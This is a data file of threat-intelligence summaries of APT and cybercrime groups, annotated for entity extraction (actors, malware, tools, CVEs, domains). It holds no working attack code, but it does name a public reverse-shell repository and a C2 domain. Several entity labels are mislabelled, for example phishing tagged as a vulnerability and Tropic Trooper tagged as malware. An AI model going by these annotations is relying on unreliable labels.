+{"text": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'", "spans": {"THREAT_ACTOR: Turla": [[34, 39], [56, 61]], "SYSTEM: Kaspersky": [[363, 372], [1245, 1254]], "SYSTEM: Symantec": [[381, 389], [609, 617], [889, 897]]}, "info": {"source": "apt_reports", "name": "Turla"}}
+{"text": "TwoSail Junk directs visitors to its exploit site by posting links within the threads of forum discussions, or creating new topic threads of their own. To date, dozens of visits were recorded from within Hong Kong, with a couple from Macau. The technical details around the functionality of the iOS implant, called LightSpy, and related infrastructure, reveal a low-to-mid capable actor. However, the iOS implant is a modular and exhaustively functional iOS surveillance framework.", "spans": {"THREAT_ACTOR: TwoSail Junk": [[0, 12]], "SYSTEM: iOS": [[295, 298], [401, 404], [454, 457]], "MALWARE: LightSpy": [[315, 323]]}, "info": {"source": "apt_reports", "name": "TwoSail Junk"}}
+{"text": "UAC-0006 is a financially motivated threat actor that has been active since at least 2013. They primarily target Ukrainian organizations, particularly accountants, with phishing emails containing the SmokeLoader malware. Their goal is to steal credentials and execute unauthorized fund transfers, posing a significant risk to financial systems.", "spans": {"THREAT_ACTOR: UAC-0006": [[0, 8]], "VULNERABILITY: phishing": [[169, 177]], "MALWARE: SmokeLoader": [[200, 211]]}, "info": {"source": "apt_reports", "name": "UAC-0006"}}
+{"text": "Vermin is a threat actor group linked to the Luhansk People’s Republic and believed to be acting on behalf of the Kremlin. They have targeted Ukrainian government infrastructure using malware like Spectr and legitimate tools like SyncThing for data exfiltration. Vermin has been active since at least 2018, using custom-made RATs like Vermin and open-source tools like Quasar for cyber-espionage. The group has resurfaced after periods of inactivity to conduct espionage operations against Ukraine's military and defense sectors.", "spans": {}, "info": {"source": "apt_reports", "name": "UAC-0020"}}
+{"text": "UAC-0050 is a threat actor that has been active since 2020, targeting government agencies in Ukraine. They have been distributing the Remcos RAT malware through phishing campaigns, using tactics such as impersonating the Security Service of Ukraine and sending emails with malicious attachments. The group has also been linked to other hacking collectives, such as UAC-0096, and has previously used remote administration tools like Remote Utilities. The motive behind their attacks is likely espionage.", "spans": {"THREAT_ACTOR: UAC-0050": [[0, 8]], "TOOL: Remcos": [[134, 140]], "VULNERABILITY: phishing": [[161, 169]]}, "info": {"source": "apt_reports", "name": "UAC-0050"}}
+{"text": "UAC-0063 is a threat actor linked to Russian APT28, known for targeting government entities in Ukraine and Central Asia for cyber espionage operations. They utilize keyloggers, backdoors, and malware like Hatvibe and Cherryspy to compromise systems and exfiltrate sensitive information. The group has been active since at least 2021 and has shown interest in targeting organizations in Mongolia, Kazakhstan, Kyrgyzstan, Israel, and India. Their TTPs include spear-phishing campaigns and exploiting vulnerabilities in software products like HFS HTTP File Server and Rejetto file-sharing servers.", "spans": {"THREAT_ACTOR: UAC-0063": [[0, 8]], "THREAT_ACTOR: APT28": [[45, 50]], "VULNERABILITY: spear-phishing": [[458, 472]], "VULNERABILITY: phishing": [[464, 472]]}, "info": {"source": "apt_reports", "name": "UAC-0063"}}
+{"text": "State Service of Special Communication and Information Protection of Ukraine spotted a new wave of cyber attacks aimed at gaining access to users’ Telegram accounts. The Ukrainian CERT attributes the hacking campaign to threat actors tracked as UAC-0094. Threat actors are targeting Telegram users by sending Telegram messages with malicious links to the Telegram website in order to gain unauthorized access to the records and transfer a one-time code from SMS.", "spans": {"THREAT_ACTOR: UAC-0094": [[245, 253]], "SYSTEM: Telegram": [[147, 155], [283, 291], [309, 317], [355, 363]]}, "info": {"source": "apt_reports", "name": "UAC-0094"}}
+{"text": "UAC-0099 is a threat actor that has been active since at least May 2023, targeting Ukrainian entities. They have been observed using a known WinRAR vulnerability to carry out attacks, indicating a level of sophistication. The actor relies on PowerShell and the creation of scheduled tasks to execute malicious VBS files for initial infection. Monitoring and limiting the functionality of these components can help mitigate the risk of UAC-0099 attacks.", "spans": {"THREAT_ACTOR: UAC-0099": [[0, 8], [435, 443]], "TOOL: WinRAR": [[141, 147]], "TOOL: PowerShell": [[242, 252]]}, "info": {"source": "apt_reports", "name": "UAC-0099"}}
+{"text": "UAC-0102 is a threat actor group targeting UKR.NET users through phishing attacks. They distribute emails with HTML file attachments that redirect users to a fraudulent website to steal authentication data. Security teams can use Sigma rules to detect their phishing campaigns and leverage IOCs provided by CERT-UA to hunt for their activity in SIEM or EDR environments.", "spans": {"THREAT_ACTOR: UAC-0102": [[0, 8]], "ORGANIZATION: CERT-UA": [[307, 314]], "VULNERABILITY: phishing": [[65, 73], [258, 266]]}, "info": {"source": "apt_reports", "name": "UAC-0102"}}
+{"text": "From Russia with Love, is a threat actor group that emerged during the Russia-Ukraine war in 2022. They primarily engage in DDoS attacks and have targeted critical infrastructure, media, energy, and government entities. FRwL has been linked to the use of the Somnia ransomware, which they employ as a wiper rather than for financial gain. While there is no direct evidence linking FRwL to the Russian Main Intelligence Directorate, it is possible that they coordinate activities with state-aligned hacktivist groups.", "spans": {"VULNERABILITY: DDoS": [[124, 128]]}, "info": {"source": "apt_reports", "name": "UAC-0118"}}
+{"text": "UAC-0149 is a threat actor targeting the Armed Forces of Ukraine with COOKBOX malware. They use obfuscation techniques like character encoding and base64 encoding to evade detection. The group leverages dynamic DNS services and Cloudflare Workers for their C2 infrastructure.", "spans": {"THREAT_ACTOR: UAC-0149": [[0, 8]], "ORGANIZATION: Cloudflare": [[228, 238]], "MALWARE: COOKBOX": [[70, 77]]}, "info": {"source": "apt_reports", "name": "UAC-0149"}}
+{"text": "UAC-0154 is a threat actor orchestrating the STARK#VORTEX phishing campaign, specifically targeting Ukraine’s military. They employ a Microsoft Help file containing obfuscated JavaScript as a lure, disguised as a manual for Pilot-in-Command Drones, to deliver the MerlinAgent malware. This PowerShell-based RAT is heavily obfuscated and downloads a payload from a remote server, enabling full control over compromised systems. The group initially targeted Ukrainian entities using military-themed documents sent via email to @ukr.net addresses.", "spans": {"DOMAIN: ukr.net": [[526, 533]], "THREAT_ACTOR: UAC-0154": [[0, 8]], "TOOL: PowerShell": [[290, 300]], "ORGANIZATION: Microsoft": [[134, 143]], "VULNERABILITY: phishing": [[58, 66]]}, "info": {"source": "apt_reports", "name": "UAC-0154"}}
+{"text": "UAC-0184 is a threat actor targeting Ukrainian organizations in Finland, using the Remcos Remote Access Trojan in their attacks. They have been observed utilizing steganographic image files and the IDAT Loader to deliver the malware. The group has targeted the Armed Forces of Ukraine and impersonated military recruitment processes to infect systems with the Remcos RAT.", "spans": {"THREAT_ACTOR: UAC-0184": [[0, 8]], "TOOL: Remcos": [[83, 89], [360, 366]], "MALWARE: IDAT Loader": [[198, 209]]}, "info": {"source": "apt_reports", "name": "UAC-0184"}}
+{"text": "UAC-0185 has been active since at least 2022, primarily targeting Ukrainian defense organizations through credential theft via messaging apps like Signal, Telegram, and WhatsApp, as well as military systems such as DELTA, TENETA, and Kropyva. The group employs phishing attacks, often impersonating the Ukrainian Union of Industrialists and Entrepreneurs (UUIE), to gain unauthorized access to the PCs of defense sector employees. They utilize custom tools, including MESHAGENT and UltraVNC, to facilitate their operations. Their activities are mapped to MITRE ATT&CK, focusing on tactics related to credential theft and remote access.", "spans": {"THREAT_ACTOR: UAC-0185": [[0, 8]], "TOOL: UltraVNC": [[482, 490]], "SYSTEM: Telegram": [[155, 163]], "SYSTEM: Signal": [[147, 153]], "SYSTEM: WhatsApp": [[169, 177]], "ORGANIZATION: MITRE": [[555, 560]], "VULNERABILITY: phishing": [[261, 269]], "VULNERABILITY: credential theft": [[106, 122], [600, 616]]}, "info": {"source": "apt_reports", "name": "UAC-0185"}}
+{"text": "UAC-0194 is a Russian threat actor linked to the exploitation of the Windows zero-day CVE-2024-43451, which was used in attacks against Ukrainian organizations. The group delivered phishing emails containing .url files that, when interacted with, exploited the vulnerability to facilitate the installation of additional payloads, including the SparkRAT trojan. They also exploited the Server Message Block protocol for NTLM hash exfiltration. CERT-UA has associated UAC-0194's activities with social engineering tactics to convince victims to execute malicious files.", "spans": {"CVE_ID: CVE-2024-43451": [[86, 100]], "THREAT_ACTOR: UAC-0194": [[0, 8], [466, 474]], "SYSTEM: NTLM": [[419, 423]], "SYSTEM: Windows": [[69, 76]], "ORGANIZATION: CERT-UA": [[443, 450]], "VULNERABILITY: phishing": [[181, 189]], "VULNERABILITY: zero-day": [[77, 85]], "MALWARE: SparkRAT": [[344, 352]]}, "info": {"source": "apt_reports", "name": "UAC-0194"}}
+{"text": "UAC-0215 is an APT group that has orchestrated a phishing campaign targeting public institutions, major industries, and military units in Ukraine, utilizing rogue RDP files to gain unauthorized access. The malicious emails are designed to appear legitimate, enticing recipients to open attachments that connect their systems to the attacker's server, allowing extensive access to local resources. CERT-UA has identified this activity as high-risk and has advised organizations to block RDP files at mail gateways and restrict RDP connection capabilities. The campaign's geographical footprint suggests a potential for broader cyberattacks beyond Ukraine.", "spans": {"THREAT_ACTOR: UAC-0215": [[0, 8]], "TOOL: RDP": [[163, 166], [486, 489], [526, 529]], "ORGANIZATION: CERT-UA": [[397, 404]], "VULNERABILITY: phishing": [[49, 57]]}, "info": {"source": "apt_reports", "name": "UAC-0215"}}
+{"text": "UAC-0219 is a hacking group observed conducting cyber-espionage operations targeting Ukrainian critical sectors, primarily utilising WRECKSTEEL malware for file exfiltration in both VBScript and PowerShell variants. Their activities focus on gathering intelligence from military innovation hubs, armed forces, law enforcement, and regional government institutions. CERT-UA has linked multiple cyber-attacks against government agencies and critical infrastructure in Ukraine to UAC-0219, emphasizing their reliance on specialized malware for sensitive information theft. The group’s operations are characterized by stealthy access and data exfiltration tactics, consistent with state-sponsored APT behavior.", "spans": {"THREAT_ACTOR: UAC-0219": [[0, 8], [477, 485]], "TOOL: PowerShell": [[195, 205]], "ORGANIZATION: CERT-UA": [[365, 372]], "MALWARE: WRECKSTEEL": [[133, 143]]}, "info": {"source": "apt_reports", "name": "UAC-0219"}}
+{"text": "UAC-0226 is a cyber-espionage group targeting Ukrainian military, law enforcement, and local government entities—particularly near the eastern border—since February 2025. Initial access is achieved via phishing emails containing malicious .xlsm documents that decode and execute base64-encoded payloads stored in spreadsheet cells. Two main tools are used: a .NET-based reverse shell leveraging PowerShell code from a public GitHub repository (https://github.com/tihanyin/PSSW100AVB), and GIFTEDCROOK, a C/C++ stealer that extracts browser data (cookies, history, credentials), archives it with PowerShell, and exfiltrates via Telegram. The group often abuses compromised webmail accounts for delivery, underlining the importance of detailed email and web server logging. Their activity shows a mix of low development overhead and high operational targeting, consistent with state-aligned espionage.", "spans": {"URL: https://github.com/tihanyin/PSSW100AVB": [[444, 482]], "THREAT_ACTOR: UAC-0226": [[0, 8]], "TOOL: PowerShell": [[395, 405], [595, 605]], "SYSTEM: .NET": [[359, 363]], "SYSTEM: Telegram": [[627, 635]], "SYSTEM: GitHub": [[425, 431]], "VULNERABILITY: phishing": [[202, 210]], "MALWARE: GIFTEDCROOK": [[489, 500]]}, "info": {"source": "apt_reports", "name": "UAC-0226"}}
+{"text": "UAC-0227 is an APT group that has been active since at least March 2025, targeting local governments, critical infrastructure, and various organizations in the European Union. The group employs phishing campaigns that utilize SVG file attachments to distribute stealers like Amatera Stealer and Strela Stealer. Their tactics include leveraging ClickFix-style methods to implement their threats.", "spans": {"THREAT_ACTOR: UAC-0227": [[0, 8]], "VULNERABILITY: phishing": [[194, 202]], "MALWARE: Amatera": [[275, 282]]}, "info": {"source": "apt_reports", "name": "UAC-0227"}}
+{"text": "UAC-0239 has been observed conducting spearphishing attacks targeting the Defence Forces and local state agencies of Ukraine, impersonating the Security Service of Ukraine. The group employs the OrcaC2 framework and FILEMESS stealer to compromise these organizations. Their campaigns often utilize themes related to \"countering russian sabotage-reconnaissance groups\" to disguise their malicious intent.", "spans": {"THREAT_ACTOR: UAC-0239": [[0, 8]], "VULNERABILITY: spearphishing": [[38, 51]]}, "info": {"source": "apt_reports", "name": "UAC-0239"}}
+{"text": "UAC-0241 is a threat actor tracked by CERT-UA, active from May to November 2025, targeting educational institutions and government bodies in eastern Ukraine via spear-phishing emails from compromised Gmail accounts. These emails deliver password-protected ZIP archives with malicious LNK files that trigger an HTA → JavaScript → PowerShell chain, deploying credential harvester LaZagne, file-stealer scripts, and the Go-based GAMYBEAR backdoor for command execution, data exfiltration over HTTP, and persistence via registry Run keys. Initial access stemmed from a May 26 phishing spoofing a local emergency agency, with compromised systems exploited for lateral movement.", "spans": {"THREAT_ACTOR: UAC-0241": [[0, 8]], "TOOL: LaZagne": [[378, 385]], "TOOL: PowerShell": [[329, 339]], "SYSTEM: Go": [[417, 419]], "SYSTEM: Gmail": [[200, 205]], "ORGANIZATION: CERT-UA": [[38, 45]], "VULNERABILITY: spear-phishing": [[161, 175]], "VULNERABILITY: phishing": [[167, 175], [572, 580]], "MALWARE: GAMYBEAR": [[426, 434]]}, "info": {"source": "apt_reports", "name": "UAC-0241"}}
+{"text": "Threat actors, tracked under the identifier UAC-0245 and targeting Ukraine, employ malicious XLL files disguised as critical documents.", "spans": {"THREAT_ACTOR: UAC-0245": [[44, 52]]}, "info": {"source": "apt_reports", "name": "UAC-0245"}}
+{"text": "UAT-10362 is a threat actor identified by Cisco Talos, conducting spear-phishing campaigns targeting Taiwanese NGOs and suspected universities to deploy the malware \"LucidRook.\" The malware features a multi-language modular design, layered anti-analysis capabilities, and stealth-focused payload handling. UAT-10362's operations rely on compromised or public infrastructure, indicating a mature level of operational tradecraft.", "spans": {"THREAT_ACTOR: UAT-10362": [[0, 9], [306, 315]], "SYSTEM: Cisco": [[42, 47]], "ORGANIZATION: Cisco Talos": [[42, 53]], "ORGANIZATION: Talos": [[48, 53]], "VULNERABILITY: spear-phishing": [[66, 80]], "VULNERABILITY: phishing": [[72, 80]]}, "info": {"source": "apt_reports", "name": "UAT-10362"}}
+{"text": "UAT-10608 is a threat cluster observed by Cisco Talos conducting a large-scale, automated credential-harvesting campaign against public-facing web applications, especially Next.js deployments, using a custom framework called NEXUS Listener to extract and exfiltrate secrets such as credentials, SSH keys, cloud tokens, and API keys. The activity has been linked to broad opportunistic scanning and at least 766 compromised hosts across multiple regions and cloud providers.", "spans": {"THREAT_ACTOR: UAT-10608": [[0, 9]], "TOOL: SSH": [[295, 298]], "SYSTEM: Cisco": [[42, 47]], "ORGANIZATION: Cisco Talos": [[42, 53]], "ORGANIZATION: Talos": [[48, 53]]}, "info": {"source": "apt_reports", "name": "UAT-10608"}}
+{"text": "UAT-5394 is a state-sponsored North Korean threat actor known for developing the MoonPeak RAT, which is based on XenoRAT. They have transitioned from using QuasarRAT to MoonPeak and have established command and control infrastructure. UAT-5394 employs tactics such as using RDP for remote access and has implemented State Machines in their malware to complicate analysis. Their activity indicates a focus on rapidly evolving their malware and infrastructure to enhance operational capabilities.", "spans": {"THREAT_ACTOR: UAT-5394": [[0, 8], [235, 243]], "TOOL: RDP": [[274, 277]], "TOOL: QuasarRAT": [[156, 165]], "MALWARE: MoonPeak": [[81, 89], [169, 177]], "MALWARE: XenoRAT": [[113, 120]]}, "info": {"source": "apt_reports", "name": "UAT-5394"}}
+{"text": "UAT-5918 is an APT group that targets entities in Taiwan, primarily in telecommunications, healthcare, and IT sectors, to establish long-term access for information theft. They exploit N-day vulnerabilities in unpatched web and application servers to gain initial access and utilize web shells, credential harvesting tools like Mimikatz and LaZagne, and red-teaming tools for post-compromise activities. UAT-5918 conducts network reconnaissance to pivot across endpoints, harvesting credentials and sensitive data, including database backups. Their operations show significant overlap with other APT groups in terms of TTPs and targeted industries.", "spans": {"THREAT_ACTOR: UAT-5918": [[0, 8], [404, 412]], "TOOL: LaZagne": [[341, 348]], "TOOL: Mimikatz": [[328, 336]]}, "info": {"source": "apt_reports", "name": "UAT-5918"}}
+{"text": "UAT-6382 is a Chinese-speaking threat actor that exploits CVE-2025-0944 to gain access to enterprise networks, particularly targeting local governing bodies in the U.S. They deploy web shells like AntSword and chinatso/Chopper on IIS web servers and utilize Rust-based loaders to implement Cobalt Strike and VSHell for persistent access. UAT-6382 employs custom tooling, such as TetraLoader, and conducts reconnaissance to identify and exfiltrate files of interest. Their VShell stager connects to a hardcoded C2 server and executes payloads in memory, indicating modifications made by the actor.", "spans": {"CVE_ID: CVE-2025-0944": [[58, 71]], "THREAT_ACTOR: UAT-6382": [[0, 8], [338, 346]], "THREAT_ACTOR: Cobalt": [[290, 296]], "TOOL: Cobalt Strike": [[290, 303]], "SYSTEM: IIS": [[230, 233]], "SYSTEM: Rust": [[258, 262]], "MALWARE: VShell": [[472, 478]]}, "info": {"source": "apt_reports", "name": "UAT-6382"}}
+{"text": "UAT-7237 is a Chinese-speaking APT group that has been active since at least 2022, primarily targeting web infrastructure entities in Taiwan. They utilize a customized Shellcode loader known as “SoundBill” to execute shellcode, including Cobalt Strike payloads, and rely on SoftEther VPN clients and RDP for persistence and access. UAT-7237 employs techniques such as credential extraction using Mimikatz, reconnaissance with WMI-based tools, and selective deployment of web shells. Their operations indicate a focus on long-term persistence and stealth, with a preference for open-sourced and customized tooling.", "spans": {"THREAT_ACTOR: UAT-7237": [[0, 8], [332, 340]], "THREAT_ACTOR: Cobalt": [[238, 244]], "TOOL: Cobalt Strike": [[238, 251]], "TOOL: RDP": [[300, 303]], "TOOL: Mimikatz": [[396, 404]], "SYSTEM: VPN": [[284, 287]], "SYSTEM: WMI": [[426, 429]], "MALWARE: SoundBill": [[195, 204]]}, "info": {"source": "apt_reports", "name": "UAT-7237"}}
+{"text": "UAT-8099 is a Chinese-speaking cybercrime group primarily engaged in SEO fraud and the theft of high-value credentials, configuration files, and certificate data from vulnerable IIS servers. They utilize web shells and PowerShell to deploy the GotoHTTP tool for remote access, while also employing techniques such as DLL sideloading and RDP for persistence. The group has been observed using BadIIS variants for SEO manipulation and executing reconnaissance commands to gather system information. Additionally, they create hidden accounts and utilize VPN tools to maintain long-term access to compromised systems.", "spans": {"THREAT_ACTOR: UAT-8099": [[0, 8]], "TOOL: RDP": [[337, 340]], "TOOL: PowerShell": [[219, 229]], "SYSTEM: VPN": [[551, 554]], "SYSTEM: IIS": [[178, 181]], "VULNERABILITY: DLL sideloading": [[317, 332]]}, "info": {"source": "apt_reports", "name": "UAT-8099"}}
+{"text": "UAT-8616 is a highly sophisticated cyber threat actor attributed by Cisco Talos, with evidence of activity dating back to at least 2023. They have been observed exploiting CVE-2026-20127 in the wild and previously exploited CVE-2022-20775 by escalating to root user access through a software version downgrade. Their operations indicate a focus on targeting network edge devices to establish persistent footholds in high-value organizations, including Critical Infrastructure sectors.", "spans": {"CVE_ID: CVE-2026-20127": [[172, 186]], "CVE_ID: CVE-2022-20775": [[224, 238]], "THREAT_ACTOR: UAT-8616": [[0, 8]], "SYSTEM: Cisco": [[68, 73]], "ORGANIZATION: Cisco Talos": [[68, 79]], "ORGANIZATION: Talos": [[74, 79]]}, "info": {"source": "apt_reports", "name": "UAT-8616"}}
+{"text": "UAT-8837 is a sophisticated China-linked APT group exploiting critical zero-day vulnerabilities, such as CVE-2025-53690 in the Sitecore platform, to achieve remote code execution and deploy the WeepSteel backdoor for espionage and data exfiltration. The group targets high-value enterprise and government sectors, focusing on public-facing applications to gain initial access and conducting stealthy reconnaissance. UAT-8837 employs techniques like privilege escalation by creating administrative accounts and is linked to targeted intrusions aimed at credential harvesting and internal reconnaissance.", "spans": {"CVE_ID: CVE-2025-53690": [[105, 119]], "THREAT_ACTOR: UAT-8837": [[0, 8], [416, 424]], "VULNERABILITY: remote code execution": [[157, 178]], "VULNERABILITY: privilege escalation": [[449, 469]], "VULNERABILITY: code execution": [[164, 178]], "VULNERABILITY: zero-day": [[71, 79]]}, "info": {"source": "apt_reports", "name": "UAT-8837"}}
+{"text": "UAT-9244 is a China-nexus APT actor, disclosed by Cisco Talos on March 5, 2026, assessed with high confidence as closely associated with Famous Sparrow and overlapping with Tropic Trooper. Active since 2024, it exclusively targets South American telecommunication providers, deploying three novel cross-platform malware families: TernDoor (Windows backdoor with DLL side-loading and evasion driver), PeerTime (Linux/embedded backdoor using BitTorrent for resilient C2), and BruteEntry (GoLang scanner turning edge devices into Operational Relay Boxes for SSH/Postgres/Tomcat brute-force). The campaign enables persistent access, remote command execution, lateral movement, and infrastructure relay via unified C2 with shared SSL certificates and domains like bloopencil.net.", "spans": {"DOMAIN: bloopencil.net": [[759, 773]], "THREAT_ACTOR: UAT-9244": [[0, 8]], "TOOL: SSH": [[555, 558]], "SYSTEM: Cisco": [[50, 55]], "SYSTEM: Tomcat": [[568, 574]], "SYSTEM: Windows": [[340, 347]], "SYSTEM: Linux": [[410, 415]], "ORGANIZATION: Cisco Talos": [[50, 61]], "ORGANIZATION: Talos": [[56, 61]], "VULNERABILITY: DLL side-loading": [[362, 378]], "VULNERABILITY: brute-force": [[575, 586]], "MALWARE: Tropic Trooper": [[173, 187]]}, "info": {"source": "apt_reports", "name": "UAT-9244"}}
+{"text": "UAT-9686 is a Chinese state-sponsored APT known for targeting networking infrastructure and edge appliances through a sophisticated espionage campaign. They exploit a critical flaw in the Cisco AsyncOS Spam Quarantine interface to gain root access and deploy custom malware, including AquaShell, along with Python scripts that execute natively. Their operations involve reverse tunneling and log purging, demonstrating a methodical approach to compromising communication infrastructure. Talos has observed overlaps in TTPs and tooling with other Chinese-nexus threat actors, indicating a consistent operational pattern.", "spans": {"THREAT_ACTOR: UAT-9686": [[0, 8]], "SYSTEM: Python": [[307, 313]], "SYSTEM: Cisco": [[188, 193]], "ORGANIZATION: Talos": [[487, 492]]}, "info": {"source": "apt_reports", "name": "UAT-9686"}}
+{"text": "UAT-9921 is a China-nexus threat actor active since 2019, tracked by Cisco Talos. In 2026, they were observed deploying 'VoidLink', a sophisticated modular framework primarily targeting Linux systems (IoT, Critical Infrastructure). Unique characteristics include the use of AI-enabled IDEs for rapid development (ZigLang implant, GoLang backend), P2P mesh networking for C2, and advanced persistence via eBPF rootkits. They target Technology and Financial sectors exploiting Java serialization vulnerabilities (Apache Dubbo).", "spans": {"THREAT_ACTOR: UAT-9921": [[0, 8]], "SYSTEM: Apache": [[511, 517]], "SYSTEM: Cisco": [[69, 74]], "SYSTEM: Java": [[475, 479]], "SYSTEM: Linux": [[186, 191]], "ORGANIZATION: Cisco Talos": [[69, 80]], "ORGANIZATION: Talos": [[75, 80]], "MALWARE: VoidLink": [[121, 129]]}, "info": {"source": "apt_reports", "name": "UAT-9921"}}
+{"text": "Cyber Alliance is a hacktivist group that has demonstrated capabilities in exploiting vulnerabilities, such as CVE-2023-22515 in Confluence, to escalate privileges and access targeted infrastructure. They successfully accessed Trigona's systems, exfiltrating sensitive data and ultimately defacing and deleting the organization's site.", "spans": {"CVE_ID: CVE-2023-22515": [[111, 125]], "THREAT_ACTOR: Cyber Alliance": [[0, 14]], "SYSTEM: Confluence": [[129, 139]], "MALWARE: Trigona": [[227, 234]]}, "info": {"source": "apt_reports", "name": "Ukrainian Cyber Alliance"}}
+{"text": "CryptoCore is a North Korean APT known for targeting cryptocurrency exchanges and financial institutions, employing spear-phishing techniques that lead to LONEJOGGER malware infections. The group has leveraged social engineering tactics, including deepfake technology and hijacked YouTube accounts, to execute sophisticated giveaway scams that deceive victims into sending cryptocurrencies. Their operations have involved the misuse of platforms like Gemini for reconnaissance and the development of fraudulent content. Additionally, CryptoCore has been linked to a variety of campaigns, including Dangerous Password and SnatchCrypto, focusing on financial gain through cryptocurrency theft.", "spans": {"VULNERABILITY: spear-phishing": [[116, 130]], "VULNERABILITY: phishing": [[122, 130]], "MALWARE: SnatchCrypto": [[621, 633]]}, "info": {"source": "apt_reports", "name": "UNC1069"}}
+{"text": "UNC1549 is an Iranian threat actor linked to Tortoiseshell and potentially the IRGC. They have been active since at least June 2022, targeting entities worldwide with a focus on the Middle East. UNC1549 uses spear-phishing and credential harvesting for initial access, deploying custom malware like MINIBIKE and MINIBUS backdoors. They have also been observed using evasion techniques and a tunneler named LIGHTRAIL in their operations.", "spans": {"THREAT_ACTOR: UNC1549": [[0, 7], [195, 202]], "THREAT_ACTOR: Tortoiseshell": [[45, 58]], "VULNERABILITY: spear-phishing": [[208, 222]], "VULNERABILITY: phishing": [[214, 222]], "MALWARE: MINIBIKE": [[299, 307]], "MALWARE: LIGHTRAIL": [[406, 415]], "MALWARE: MINIBUS": [[312, 319]]}, "info": {"source": "apt_reports", "name": "UNC1549"}}
+{"text": "UNC1860 is a persistent and opportunistic Iranian state-sponsored threat actor that is likely affiliated with Iran’s Ministry of Intelligence and Security (MOIS). A key feature of UNC1860 is its collection of specialized tooling and passive backdoors that Mandiant believes supports several objectives, including its role as a probable initial access provider and its ability to gain persistent access to high-priority networks, such as those in the government and telecommunications space throughout the Middle East.", "spans": {"THREAT_ACTOR: UNC1860": [[0, 7], [180, 187]], "ORGANIZATION: Mandiant": [[256, 264]]}, "info": {"source": "apt_reports", "name": "UNC1860"}}
+{"text": "UNC1878 is a financially motivated threat actor that monetizes network access via the deployment of RYUK ransomware. Earlier this year, Mandiant published a blog on a fast-moving adversary deploying RYUK ransomware, UNC1878. Shortly after its release, there was a significant decrease in observed UNC1878 intrusions and RYUK activity overall almost completely vanishing over the summer. But beginning in early fall, Mandiant has seen a resurgence of RYUK along with TTP overlaps indicating that UNC1878 has returned from the grave and resumed their operations.", "spans": {"THREAT_ACTOR: UNC1878": [[0, 7], [216, 223], [297, 304], [495, 502]], "ORGANIZATION: Mandiant": [[136, 144], [416, 424]]}, "info": {"source": "apt_reports", "name": "UNC1878"}}
+{"text": "UNC215 is a Chinese nation-state threat actor that has been active since at least 2014. They have targeted organizations in various sectors, including government, technology, telecommunications, defense, finance, entertainment, and healthcare. UNC215 has been observed using tools such as Mimikatz, FOCUSFJORD, and HYPERBRO for initial access and post-compromise activities. They have demonstrated a focus on evading detection and have employed tactics such as using trusted third parties, minimizing forensic evidence, and incorporating false flags. UNC215's targets are located globally, with a particular focus on the Middle East, Europe, Asia, and North America.", "spans": {"THREAT_ACTOR: UNC215": [[0, 6], [244, 250], [551, 557]], "TOOL: Mimikatz": [[289, 297]], "MALWARE: FOCUSFJORD": [[299, 309]]}, "info": {"source": "apt_reports", "name": "UNC215"}}
+{"text": "UNC2447 is a financially motivated threat actor with ties to multiple hacker groups. They have been observed deploying ransomware, including FiveHands and Hello Kitty, and engaging in double extortion tactics. They have been active since at least May 2020 and target organizations in Europe and North America.", "spans": {"THREAT_ACTOR: UNC2447": [[0, 7]]}, "info": {"source": "apt_reports", "name": "UNC2447"}}
+{"text": "Reporting regarding activity related to the SolarWinds supply chain injection has grown quickly since initial disclosure on 13 December 2020. A significant amount of press reporting has focused on the identification of the actor(s) involved, victim organizations, possible campaign timeline, and potential impact. The US Government and cyber community have also provided detailed information on how the campaign was likely conducted and some of the malware used.  MITRE’s ATT&CK team — with the assistance of contributors — has been mapping techniques used by the actor group, referred to as UNC2452/Dark Halo by FireEye and Volexity respectively, as well as SUNBURST and TEARDROP malware.", "spans": {"THREAT_ACTOR: UNC2452": [[592, 599]], "SYSTEM: SolarWinds": [[44, 54]], "ORGANIZATION: Volexity": [[625, 633]], "ORGANIZATION: MITRE": [[464, 469]], "ORGANIZATION: FireEye": [[613, 620]], "MALWARE: TEARDROP": [[672, 680]], "MALWARE: Dark": [[600, 604]], "MALWARE: SUNBURST": [[659, 667]]}, "info": {"source": "apt_reports", "name": "UNC2452"}}
+{"text": "UNC2465 is a threat actor known for deploying the SMOKEDHAM .NET backdoor and DARKSIDE ransomware, utilizing TTPs such as phishing, Trojanized software installers, and supply chain attacks. They have employed the NGROK utility to expose internal services and facilitate lateral movement within victim environments. UNC2465 has also leveraged tools like UltraVNC, Cobalt Strike BEACON, and conducted credential harvesting via LSASS memory dumping. Their operations have included extortion tactics through a leaks website over TOR, applying pressure on victims by releasing stolen data.", "spans": {"THREAT_ACTOR: UNC2465": [[0, 7], [315, 322]], "THREAT_ACTOR: Cobalt": [[363, 369]], "TOOL: Cobalt Strike": [[363, 376]], "TOOL: UltraVNC": [[353, 361]], "SYSTEM: .NET": [[60, 64]], "VULNERABILITY: phishing": [[122, 130]], "MALWARE: BEACON": [[377, 383]], "MALWARE: SMOKEDHAM": [[50, 59]]}, "info": {"source": "apt_reports", "name": "UNC2465"}}
